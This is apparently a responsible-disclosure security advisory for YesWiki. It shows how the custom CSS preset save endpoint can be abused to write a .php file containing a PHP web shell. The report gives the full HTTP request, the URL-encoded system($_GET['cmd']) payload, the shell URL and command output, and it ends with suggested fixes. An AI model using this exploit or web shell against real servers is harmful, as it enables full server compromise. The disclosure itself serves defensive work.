Summary

Hi,

I found that an arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server.

All testing was performed on my local docker setup running the latest version of the application.

PoC

Proof of Concept

Navigate to http://localhost:8085/?LookWiki which allows us to click Create a new Graphical configuration where we specify some parameters and then click Save.

After clicking save, this request is made (most headers removed for clarity):

POST /?api/templates/custom-presets/test.css HTTP/1.1
Host: localhost:8085

primary-color=%230c5d6a&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif

This request writes the file test.css to disk with the contents (abbreviated)

:root {
  --primary-color: #0c5d6a;
  --secondary-color-1: #d8604c;
  --secondary-color-2: #d78958;
  --neutral-color: #4e5056;
  --neutral-soft-color: #57575c;
  --neutral-light-color: #f2f2f2;
  --main-text-fontsize: 17px;
  --main-text-fontfamily: "Nunito", sans-serif;
  --main-title-fontfamily: 'Nunito', sans-serif;
}

To exploit this, we utilize our proxy tool to intercept the the first request and change the filename extension to .php and add arbitrary PHP code in for one of the request body parameters.

e.g. primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E

Now the file pizzapower.php is written to /var/www/html/custom/css-presets/pizzapower.php and it starts with this, where our PHP code is present.

:root {
  --primary-color: <?php system($_GET['cmd']); ?>;
  --secondary-color-1: #d8604c;
  --secondary-color-2: #d78958;
  --neutral-color: #4e5056;
  --neutral-soft-color: #57575c;
  --neutral-light-color: #f2f2f2;
  --main-text-fontsize: 17px;
  --main-text-fontfamily: "Nunito", sans-serif;
  --main-title-fontfamily: 'Nunito', sans-serif;
}

Then, we can simply visit the file with a cmd parameter included, which is what command we are running.

http://localhost:8085/custom/css-presets/pizzapower.php?cmd=id

And the HTTP response will contain the output of our command. Notably this request can be performed unauthenticated (the creation of the file requires auth, though).

:root {
  --primary-color: uid=501(yeswiki) gid=501 groups=501
;
  --secondary-color-1: #d8604c;
  --secondary-color-2: #d78958;
  --neutral-color: #4e5056;
  --neutral-soft-color: #57575c;
  --neutral-light-color: #f2f2f2;
  --main-text-fontsize: 17px;
  --main-text-fontfamily: "Nunito", sans-serif;
  --main-title-fontfamily: 'Nunito', sans-serif;
}

Impact

Full compromise of the server. Can potentially be performed unwittingly by a user subjected to the previously reported (or future) XSS vulnerabilities.

Fixes

Amongst others:

Restrict file extensions: Only allow a safelist of extensions (e.g., .css) when saving files via this feature.
Harden server config: Disable PHP execution in user-writable directories